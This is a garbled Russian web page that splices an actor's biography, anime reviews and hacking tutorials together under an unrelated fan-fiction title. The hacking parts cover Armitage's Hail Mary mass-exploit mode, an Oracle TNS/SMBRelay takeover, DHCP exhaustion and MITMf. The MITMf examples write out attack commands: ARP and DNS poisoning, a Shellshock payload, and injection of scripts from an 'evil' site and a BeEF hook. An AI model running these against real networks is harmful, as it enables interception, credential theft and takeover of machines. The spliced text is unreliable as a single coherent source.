Armitage hux x reader

Фильмы

Еще учась в академии, Армитидж получил роль в фильме «Звездные Войны: Скрытая Угроза». Однако при монтаже все сцены с его участием были благополучно вырезаны. Но с тех пор актер регулярно появлялся в эпизодических ролях в различных британских сериалах.

Ричард Армитидж в фильме «Спаркхаус»

Его первой заметной работой на телевидении становится роль второго плана в мини-сериале «Спаркхаус» – современной интерпретации «Грозового перевала». Он сыграл верного, терпеливого и трудолюбивого Джона Стендринга.

А вот после этой роли последовала череда отрицательных героев. Сам актер потом говорил, что он любит играть именно «плохих» персонажей, ведь в их образах он может быть агрессивным, безнравственным, и ему разрешено делать всякие гадости, чего в реальной жизни он себе позволить не может.

Ричард Армитидж в фильме «Север и юг»

В 2004 году Ричарда Армитиджа утверждают на роль Джона Торнтона в сериале BBC «Север и Юг» по произведению Элизабет Гаскелл. Его небывалая популярность среди зрителей была настоящей неожиданностью для создателей сериала. Ленту рекламировали крайне мало, но публика прониклась мистером Торнтоном. В премьерные дни на сайт BBC был такой наплыв пользователей, что ресурс не выдержал и «обрушился».

Ричард Армитидж в фильме «Робин Гуд»

В 2006 году ему досталась роль главного антагониста Робина Гуда в одноименном сериале. Образ рыцаря-злодея Гая Гисборна становится второй после Джона Торнтона «визитной карточкой» актера.

В 2008 году он примкнул к шпионскому сериалу «Призраки», где сыграл старшего офицера Лукаса Норта. Для роли он похудел на 10 кг, а для сцен, где актер должен был быть с обнаженным торсом, его гримировали около 2 часов – столько времени уходило на нанесение татуировок.

Свою первую роль в Голливуде Ричард получил в 2010 году. Он сыграл нацистского шпиона Хайнца Крюгера в фильме «Капитан Америка: Первый мститель». Тогда-то его и заметил режиссер Питер Джексон. Он пригласил Армитиджа на роль гнома Торина Дубощита в его трилогию о Хоббите. Эта киноистория получила оглушительный успех как у зрителей, так и у кинокритиков.

Ричард Армитидж в фильме «Хоббит»

В 2015 году актер присоединился к актерской труппе американского телевизионного триллера канала NBC «Ганнибал». Ему досталась роль Френсиса Долархайда – серийного убийцы. В 2016 году Ричард Армитидж сыграл короля Олерона в фильме «Алиса в Зазеркалье». В этом же году на экраны вышел сериал «Берлинская резидентура», где актеру досталась главная роль.

Ричард Армитидж в спектакле «Суровое испытание»

Армитидж никогда не забывал о театре и все время хотел вернуться на подмостки. Ему это удалось в 2014 году. Он сыграл Джона Проктора в спектакле «Суровое испытание». Постановка произвела небывалый фурор. Представление шло 17 недель подряд, изо дня в день, а по выходным – дважды в день. В том же году актеру вручили премию «Broadway World UK Awards» в категории «Лучшая главная мужская роль», а в 2015 номинировали на премию Лоренса Оливье.

Шаг 6. Hail Mary!

Почти все, что вы можете сделать в консоли Metasploit, можно сделать и с помощью Armitage. Но есть одна вещь, которую можно выполнить при помощи Armitage, и которую нельзя сделать с помощью msfconsole (по крайней мере, без использования специальных скриптов). Это самая вещь называется Hail Mary! Hail Mary — это модуль Armitage, который будет пробовать запустить каждый эксплоит против сайта, чтобы проверить, работает ли какой-нибудь из них.

Просто перейдите в меню «Attacks» (Атаки) в верхней части Armitage и выберите «Hail Mary». Когда вы кликните на него, он выдаст предупреждающее сообщение как на скриншоте ниже.

Это не слишком эффективный способ взлома из-за того, что процесс не является скрытным. Это создаст так много «шума» на целевой системе, что вы, скорее всего, будете обнаружены практически сразу. Но на тестовой машине или в пентестирующем окружении — его использование может быть полезным, т.к. дает возможность попробовать многочисленные атаки против цели, чтобы посмотреть, какие из них будут работать, а какие нет.

Armitage позволяет начинающему хакеру быстро понять основы взлома при помощи Metasploit и начать использовать этот превосходный и мощный инструмент в очень короткие сроки. И мы все обязаны Рафаэлю Маджу за разработку этой прекрасной программы!

Предыдущие статьи( , , ).

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.

Описание MITMf

Описание

Цель MITMf — быть инструментом всё-в-одном для сетевых атак и атак человек-по-середине, при этом обновляя и усовершенствую существующие атаки и техники.

Первоначально будучи созданной для исправления значительных недостатков других инструментов (например, Ettercap, Mallory), программа была практически полностью переписана с нуля для обеспечения модульного и легко масштабируемого фреймворка, который каждый может использовать для реализации своих собственных атак MITM.

Особенности

• Этот фреймворк содержит встроенные сервера SMB, HTTP и DNS, которые могут управляться и использоваться множеством плагинов, он также содержит модифицированную версию SSLStrip proxy, которая позволяет HTTP модификацию и частичный обход HSTS.
• Начиная с версии 0.9.8, MITMf поддерживает активную фильтрацию пакетов и манипуляцию (в основном то, что делали etterfilters, только лучше), позволяя пользователям модифицировать любой вид трафика или протокола.
• Конфигурационный файл может быть отредактирован на лету в то время когда MITMf запущен, изменения будут переданы во фреймворк: это позволяет вам делать тонкую настройку плагинов и сервера во время выполнения атаки.
• MITMf будет захватывать FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (все поддерживаемые протоколы вроде HTTP, SMB, LDAP и т.д.) и учётные данные Kerberos с использованием Net-Creds, который запускается при старте программы.
• Интеграция с Responder позволяет LLMNR, NBT-NS и MDNS poisoning, а также поддержку жульнического сервера WPAD.

Активная фильтрация/модификация пакетов

Теперь вы можете модифицировать любой пакет/протокол, который перехвачен MITMf, используя Scapy! (больше никаких etterfilters! ура!)

Например, вот тупой маленький фильтр, который просто меняет IP адрес назначения ICMP пакетов:

if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'

• Используйте переменную пакета для доступа к пакету в Scapy совместимом формате
• Используйте переменную данных для доступа к сырым данным пакета

Теперь для использование фильтра всё, что нам нужно сделать это: python mitmf.py -F ~/filter.py

Возможно вы захотите комбинировать это с плагином Spoof, чтобы в действительности перехватывать пакеты от кого-то ещё

Примечание: вы можете изменять фильтры на лету без перезапуска MITMf!

Автор byt3bl33d3r

Лицензия: GPLv3

Критика

Хелен Маккарти в 500 Essential Anime Movies обращает внимание, что качество рисунка в Armitage III: Poly-Matrix «не соответствует стандартам для кинотеатров, но смотрится отлично на домашних экранах». Она отмечает отличный дизайн и диалоги, в то же время говоря, что «основной сюжет по сути пересказ Пиноккио — игрушка хочет стать настоящим человеком, или, в терминах научной фантастики, робот жаждет любви и принятия окружающими как личности, а не как вещи».. Обзоры T.H.E.M

Anime подчеркивают отличное для OVA качество рисунка и мастерскую музыку Хироюки Намба, отлично вплетающуюся в повествование.

Обзоры T.H.E.M. Anime подчеркивают отличное для OVA качество рисунка и мастерскую музыку Хироюки Намба, отлично вплетающуюся в повествование.

Джули Дэвис в Anime Classics ZETTAI! 100 Must-See Japanese Animation Masterpieces отмечает, что сюжет произведения, в отличие от западных работ, не поднимает вопросов о том, где проходит грань между человеком и роботом, вместо этого в центре социальные последствия. Наличие у Армитаж «свободной воли» и «души» даже не ставится под сомнение. Это одна из особенностей всех аниме, которую можно увидеть и, например, в «Чобитах» — вопрос о том, что если роботы в состоянии демонстрировать те же эмоции, что и люди, то они должны иметь доступ к тем же правам и считаться членами общества.

Дэвис также выделила три особо запоминающиеся сцены: пиратскую трансляцию с убийствами андроидов третьего типа, напоминающую записи террористических казней; попытку двух уличных хулиганов напасть на «беззащитную» Армитаж и потом ее погоню за одним из них, убегающим в ужасе; и визит на фабрику роботов, где PR-менеджер представляет андроидов, как существ, созданных для исполнения фантазий людей, для чего он демонстрирует андроида второго типа, внешне очень похожего на Сейлор Мун.

Как и в случае с большинством научно-фантастических произведений, вышедших после 1985 года, дизайн марсианского города Сан-Лориена очень схож с фильмом Ридли Скотта «Бегущий по лезвию», хотя в этом случае схожесть только поверхностная. Город является вертикальным мегаполисом с неоновыми вывесками, множеством платформ и дорог. Но несмотря на множество роботов и киборгов прочие технологии соответствуют XX веку: оружие использует пули, машины ездят по земле, даже население носит одежду, соответствовавшую современной моде.

Armitage III стал первым «голливудским» блокбастером среди аниме. К тому времени Akira и Ghost in the Shell тоже сыскали успех на Западе, но Armitage III: Poly-Matrix стал первым фильмом, в котором было столько черт голливудских фильмов вплоть до подачи сюжета, наличия романа между двумя главными персонажами и большого количества взрывов в конце. Постановка была настолько западной, что многие детали фильма 2004 года «Я, робот» перекликаются с Armitage III, включая, например, ненависть к роботам персонажа Уилла Смита, схожую с отношением к ним Росса.

Большинство обозревателей рекомендуют фильм и OVA к просмотру всем любителям киберпанка, но Movie Gazette в то же время в своем обзоре полностью разгромило Poly-Matrix, посчитав фильм ниже всяких стандартов в плане сюжета и анимации и наполненным клише, а также плагиатом «Бегущего по лезвию», дав в итоге ему рейтинг 2 из 10.

Armitage III: Dual-Matrix более депрессивная работа. Несмотря на наличие в нем нескольких эффектных экшен-сцен, музыка Джулиана Мака не содержит того же заряда, что и работа Хироюки Намба для предыдущего произведения, а отсутствие харизматичного злодея и интриги о поиске героине ее прошлого сделало сюжет довольно плоским. История оживает только в конце повествования, когда Армитаж воссоединяется с Россом. Большее количество экшена может объясняться участием в съемках режиссёра Кацухито Акиямы, известного созданием боевиков таких, как Guyver и Bastard!, а также отсутствием в команде, работавшей над ним, сценариста Тиаки Конака

В то же время рецензент Anime News Network Бамбу Дон обращает внимание в своем обзоре также на сцены между матерью и дочерью — пусть между ними мало диалогов, но само построение сцен и выражения лиц заставляют зрителя понимать и проникаться отношениями персонажей. Смена актрисы озвучивания для Армитаж в английском дубляже с Элизабет Беркли на Джульетт Льюис создала впечатление, что семейная жизнь существенно сгладила большую часть мятежной природы Армитаж из первой части

Арсений Крылов в статье журнала «Мир фантастики» сравнивает второй фильм с Киану Ривзом в роли Нео из «Матрицы», тогда как первый — это он же в «Джонни-мнемонике», а также предлагает рассматривать оба фильма как примеры классического киберпанка и пост-кибербанка.

Краткая биография Ричарда Армитиджа

Добившемуся славы и популярности британскому актеру Ричарду Армитиджу дважды вручалась премия «Сатурн». Как талантливый театральный актер он номинировался на премию Лоуренса Оливье.

В 2014 году артист стал победителем «BroadwayWorld UK Awards». Многим любителям кино он известен по роли короля гномов Торина Дубощита из кинотрилогии П. Джексона «Хоббит».

Родиной Ричарда Криспина Армитиджа стала расположенная недалеко от Лестера деревенька Ханкот (Англия). Он появился на свет 22.08.1971 года в семье инженера-атомщика Джона Армитиджа и школьного секретаря Маргарет Армитидж. До рождения Ричарда в семье появился старший сын, Кристофер.

Первое специализированное образование он получил в Брокингтонском Колледже. Здесь мальчику преподавали вокал и игру на музыкальных инструментах. Благодаря этому актер искусно играет на гитаре, виолончели и флейте.

Следующим учебным заведением стал колледж Патиссон, куда он поступил в 14 лет. В новом учебном заведении парню преподавали актерское мастерство. После окончания колледжа Ричард, почувствовав, что стал довольно взрослым, устраивается в цирковую труппу и отправляется вместе с ней гастролировать по Венгрии.

В течение шести недель он путешествует с труппой. Ему была уготована особая роль – выполнять работу подсобника. Парню приходилось помогать основным актерам на манеже, чистить клетки животных. Но все это не очень огорчало будущего актера, ведь только так он мог приблизиться к своей цели. Благодаря этой работе он мог получить профсоюзную карту актера и посещать прослушивания. Чего он собственно и добился.

По возвращении домой, Ричард начинает играть в мюзиклах. Одним из них были нашумевшие «Кошки». Со временем к юному актеру приходит осознание, что он занимается не тем, к чему лежит душа. Вычурность и наигранность мюзиклом его не прельщала. Он мечтал о большой сцене, где можно быть серьезным и искренним.

Понимая, что нужно учиться дальше, Армитидж поступает в Лондонскую академию музыки и драмы, выбрав факультет драматического искусства. После получения диплома, артист устраивается в Королевскую шекспировскую компанию.

Ему посчастливилось играть в таких постановках, как «Макбет», «Герцогиня Мальфи», «Гамлет». Но это была не полная занятость, а рвущемуся к славе таланту хотелось много работы. И хотя театр был его основной мечтой, он стал работать на телевидении.

Руководство по Amass

Страница man отсутствует.

Раздел с настройками по умолчанию (Default)

Опция	Описание
mode	Определяет, какой режим перечисления используется: default (по умолчанию), passive (пассивный) или active (активный)
output_directory	Директория, которая хранит базу данных графов и другие файлы вывода
maximum_dns_queries	Максимальное число выполняемых одновременных DNS запросов
include_unresolvable	Когда установлено на true, приводит к тому, что DNS имена, которые не были преобразованы, печатаются

Раздел network_settings (сетевые настройки)

Опция	Описание
address	IP или диапазон (к примеру. a.b.c.10-245) которые находятся в области видимости
asn	ASN который в области видимости
cidr	CIDR (к примеру, 192.168.1.0/24) в области видимости
port	Указывает порт, который будет использоваться при активном извлечении сертификатов TLS

Раздел blacklisted (чёрные списки)

Опция	Описание
subdomain	Субдоменное имя DNS которое во время перечисления будет расцениваться как за пределами области видимости

Раздел gremlin

Опция	Описание
url	URL в форме «ws://host:port» куда Amass подключится к базе данных TinkerPop
username	Пользователь базы данных сервера TinkerPop который может иметь доступ к базе данных графов Amass
password	Действительный пароль для пользователя, идентифицируемого опцией ‘username’

Раздел bruteforce (полный перебор)

Опция	Описание
enabled	Когда установлено на true, во время перечисления делается брут-форсинг (полный перебор)
recursive	Когда установлено на true, полный перебор выполняется также на найденных субдоменах
minimum_for_recursive	Число сделанных обнаружений на субдомене перед выполнением рекурсивного брут-форсинга
wordlist_file	Путь до пользовательского файла словаря для использования во время брут-форсинга

Раздел alterations (создание новых субдоменов путём модификаций)

Опция	Описание
enabled	Когда установлено на true, во время перечисления выполняется пермутация преобразованных DNS имён
minimum_for_word_flip	Число раз, которое слово должно встретиться, чтобы использовать его в будущих преобразованиях и добавлениях слов
edit_distance	Число раз, которое будет выполнена операция редактирования образца имени во время поиска фазингом ярлыков
flip_words	Когда установлена на true, приводит к тому, что слова в именах DNS обмениваются на другие из списка слов для модификации
flip_numbers	Когда установлена на true, приводит к тому, что числа в именах DNS меняются на другие числа
add_words	Когда установлена на true, приводит к тому, что другие слова из списка слов для модификации добавляются к преобразованным именам DNS
add_numbers	Когда установлена на true, приводит к тому, что числа добавляются и удаляются из преобразованных DNS имён
wordlist_file	Путь до файла с пользовательским набором слов, который предоставляет дополнительные слова в список слов для модификации

Разделы Data Source (источники данных)

Каждая служба источника данных Amass имеет выделенный раздел в конфигурационном файле. Здесь говориться о том, как настроить источники данных, которые требуют аутентификации.

Опция	Описание
apikey	Ключ API для использования во время доступа к источнику данных
secret	Дополнительная секретная строка для использования с API ключом
username	Пользователь аккаунта источника данных
password	Действительный пароль для пользователя, указанного опцией ‘username’

База данных графов

Все результаты перечисления Amass хранятся в базе данных графов. Эта база данных либо находится в одном файле в каталоге вывода, либо удалённо подключена с использованием настроек, предоставленных файлом конфигурации.

Когда начинается новое перечисление и база данных графа уже существует с предыдущими результатами для той же цели, имена поддоменов из этих предыдущих перечислений используются в новом перечислении. Новые DNS-запросы выполняются к этим именам поддоменов, чтобы гарантировать их легитимность и получить текущие IP-адреса.

Результаты каждого перечисления хранятся отдельно в базе данных графов, что позволяет подкоманде отслеживания искать различия между перечислениями и предоставлять пользователю основные сведения о цели.

Ничто не мешает нескольким пользователям совместно использовать одну (удалённую) графовую базу данных и использовать результаты друг друга в перечислениях.

Задача: Отфильтровать отчеты Nmap в Zenmap’е

Решение

Nmap — вещица всем известная и многофункциональная. У нее есть несколько форматов для сохранения данных. Имхо, самые юзабельные — это XML (параметр -oX) и gnmap (параметр -oG). Последний — так называемый greppable nmap, подогнанный под классическую утилитку grep. При работе с крупными сетями возникает необходимость быстро и четко делать выборки по тем или иным параметрам. Но с grep’ом оперативность не так велика, особенно с учетом отсутствия под виндой такой команды.

Потому для меня стало приятным знакомство с Zenmap’ом. Для справки: Zenmap – это официальный GUI к Nmap’у. Раньше я в нем вообще не видел смысла – в консоли все быстрее делается.

Но с обработкой результатов он, конечно, помогает. Вопервых, Zenmap умеет читать результаты скана в XML-виде.

Во-вторых, может работать сразу по нескольким отчетам в одном окне с объединением результатов. То есть, например, можно открыть скан портов всей сетки и скан какой-то ее части, но с определенными сервисами на портах. В результате хосты не дублируются, а информация по каждому порту берется из XML с большим количеством данных.

И, наконец, можно использовать фильтры. Внизу есть кнопка «Фильтр хостов». В ней можно задавать подсетку IP-адресов для отображения. Командами вида «op», «fp», «ufp» можно указать, что отображать нужно только открытые, отфильтрованные или неотфильтрованные порты соответственно, а также задать конкретные порты для отображения. Командой «s:» можно поставить текстовый фильтр на сервисы.

Также прикольные вещи в Zenmap’е – отображение топологии сети и возможность сохранения профилей сканов. В общем, очень советую попробовать.

Из минусов стоит пожаловаться на лаговость GUI – если количество хостов превышает 1 000, то прога тупит около секунды после каждого клика.

Задача: Захватить Windows c БД Oracle через TNS-listener.

Решение

В прошлом номере я писал об уязвимостях TNS-listener’а. Особенно при стандартных настройках в версиях Oracle 8/9. Этот пример использует ту же уязвимость (а точнее — возможность установки файла логов), поэтому не буду повторяться в описании. Фишка данного метода заключается в использовании set_log’а совместно с SMBRelay’ем. Ну, я думаю, ты понял идею.
Итак, поднимаем SMBRelay сервак (естественно, в Metasploit’е):

Выбираем нагрузку:

Куда smbrelay’им:

Куда коннектится back-connect шеллу:

Далее запускаем perl-скрипт, который задаст Oracle-серверу путь сохранения логов, а именно — наш комп с настроенным SMB-relay’ем.

И через пару секунд мы получим администраторские права к системе. Если Oracle стоит старый (8/9), то, возможно, операционка тоже старая, непропатченная, а потому релэй можно попытаться сделать на нее же.

И самый важный момент – сервис Oracle’а должен быть запущен с правами пользователя, а не под системой. Жаль, что такое бывает нечасто.

Видео-пример можно посмотреть на vimeo.com/5500931.

Руководство по MITMf

Страница man отсутствует.

—log-level

Тип — трока, можно выбрать из ‘debug’, ‘info’, по умолчанию — «info». Описание: особый уровень ведения лога.

-i

Назначение — ‘interface’, требуется — да, тип — строка. Описание: интерфейс для прослушивания.

-c

Назначение — ‘configfile’, metavar=»CONFIG_FILE», тип — строка, по умолчанию — «./config/mitmf.conf». Описание: задаёт конфигурационный файл который нужно использовать.

-p, —preserve-cache

Действие — «store_true». Описание: не убивать кэширование клиента/сервера.

-r, —read-pcap

Тип — строка. Описание: парсить заданный pcap на наличие учётных данных и выйти.

-l

Назначение — ‘listen_port’, тип — целое положительное число, metavar=»PORT», по умолчанию=10000. Описание: порт для прослушивания (по умолчанию 10000).

-f, —favicon

Действие — «store_true». Описание: подставить замок вместо иконки сайта на безопасных запросах.

-k, —killsessions

Действие — «store_true». Описание: убить сессии в прогрессе.

-F, —filter

Тип — строка. Описание: применить фильтр к входящему трафику.

Задача: Подменить MAC-адрес сетевой карты.

Решение

Да-да-да, задача простая. Но это ни в коем случае не умаляет ее значимости. Напомню, MAC-адрес – это уникальный 48-битный идентификатор, присваиваемый каждой единице оборудования в сети. Помни, что MAC не выходит за пределы локалки и обрубается при выходе пакета из другого сегмента сети. А потому потребность в смене MAC’а связана в основном с «работой» в локальных сетях. Например, когда заблочат на каком-то сетевом оборудовании за неправомерные действия типа сканирования. Фильтрация по MAC’у – одно из основных действий. Все сетевухи позволяют изменять MAC-адрес, но настройки чаще всего запихнуты куда-то глубоко, и вносить изменения в производственных масштабах неудобно.

Под Unix существует классический macchanger (alobbs.com/macchanger). Можно поменять адрес на полностью рандомный MAC, частично рандомный (от определенного производителя) либо ввести его вручную.

Здесь мы получаем рандомный MAC на интерфейсе eth0, перед этим отключив его в первой строчке. Можно обойтись и системными средствами(Linux):

А под Win могу посоветовать TMAC от наших индийских соратников (technitium.com) — утилита хороша тем, что работает под все версии винды. Можно выбирать производителя, отключать получение IP по DHCP, а также есть пара полезных мелочей типа автоматического отключения интерфейса на время смены адреса.

А главное – сделано в Индии :). Кстати, на основе смены МАС’а существует одна DoS-атака – израсходование всех IP-адресов подсети. Атака возможна, если в локалке работает выдача по DHCP. Суть заключается в том, что мы с подставных MAC’ов запрашиваем новые IP. DHCP-сервер выдает их нам. Привязка MAC–IP на сервере действует чаще всего в течение 24 часов. Таким образом, достаточно быстро (в зависимости от размера подсети) мы заполучим все свободные IP-адреса, и серверу будет нечего выдать ни нам, ни кому бы то ни было еще :).

К Metasploit’у есть модуль, реализующий эту тему — DHCP Exhaustion. Я о нем упоминал пару месяцев назад, когда описывал DNS MiTM. Взять можно тут: digininja.org/metasploit/dns_dhcp.php

Примеры запуска MITMf

Наиболее базовое использование это запустить HTTP прокси, серверы SMB,DNS,HTTP и Net-Creds на интерфейсе enp3s0:

python mitmf.py -i enp3s0

ARP poison на всю подсеть со шлюзом 192.168.1.1 используя плагин Spoof:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

То же самое как и выше + жульнический WPAD прокси сервер используя плагин Responder:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 и 192.168.0.1/24 со шлюзом на 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Включить DNS спуфинг во время ARP poisoning (Домены для спуфинга беруться из конфигурационного файла):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Включить спуфинг LLMNR/NBTNS/MDNS:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Включить сфуфинг DHCP (ip пул и подсеть берутся из конфигурационного файла):

python mitmf.py -i enp3s0 --spoof --dhcp

То же что и выше, но в нагрузку с ShellShock, который будет выполнен если какой-либо клиент уязвим:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Инжект IFrame в HTML, используя плагин Inject:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Инжект скрипта JavaSript:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

Запуск перехватывающего портала (captive portal), который перенаправляет всё на http://SERVER/PATH:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH

Запустить перехватывающий портал на http://your-ip/portal.html используя страницей по умолчанию /portal.html (спасибо responder) и /CaptiveClient.exe (не приложен) из папки config/captive:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive

Как и выше, но с именем хоста captive.portal вместо IP (требует, чтобы captive.portal преобразовывался в ваш IP, например, через DNS спуфинг):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns

Перехватывающий портал с дополнительным экземпляром SimpleHTTPServer, работающим из LOCALDIR на http://IP:8080 (изменить порт в mitmf.config):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR

Как и выше, но с именем хоста:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns

И многое-многое другое!

Конечно вы можете использовать совместно и смешивать почти все плагины (например, ARP spoof + inject + Responder и т.д.)

Для полного списка опций просто запустите python mitmf.py —help

Задача: Поиск сайтов по доменному имени

Решение

И опять займемся собирательством информации. В ситуациях, когда взламывается какой-то крупный портал, задача определения поддоменов – важная, как ни крути. Кто знает, с какого конца пролезешь и откуда вылезешь? Ведь безопасность — вещь комплексная и часто рушится с малого… У знаменитого портала netcraft.com есть одна приятная возможность – поиск сайтов по части доменного имени.

Например, мы хотим найти поддомены xakep.ru. Пишем xakep – получаем результат. Конечно, есть и другие способы, но этот быстр и особенно хорош, если поддомены хостятся в разных местах. Еще положительная вещь – возможность использовать лайтовые регулярные выражения при запросах:

• — — любое количество символов;
• ? — любой символ;
• [] – какой-то из перечисленных символов.

Например, более точный запрос на поддомены xakep.ru выглядит следующим образом:

А так можно увидеть все языковые поддомены googl’а:

В дополнение к полученной информации мы видим примерную версию ОС, а также владельца IP-адреса обнаруженных серверов.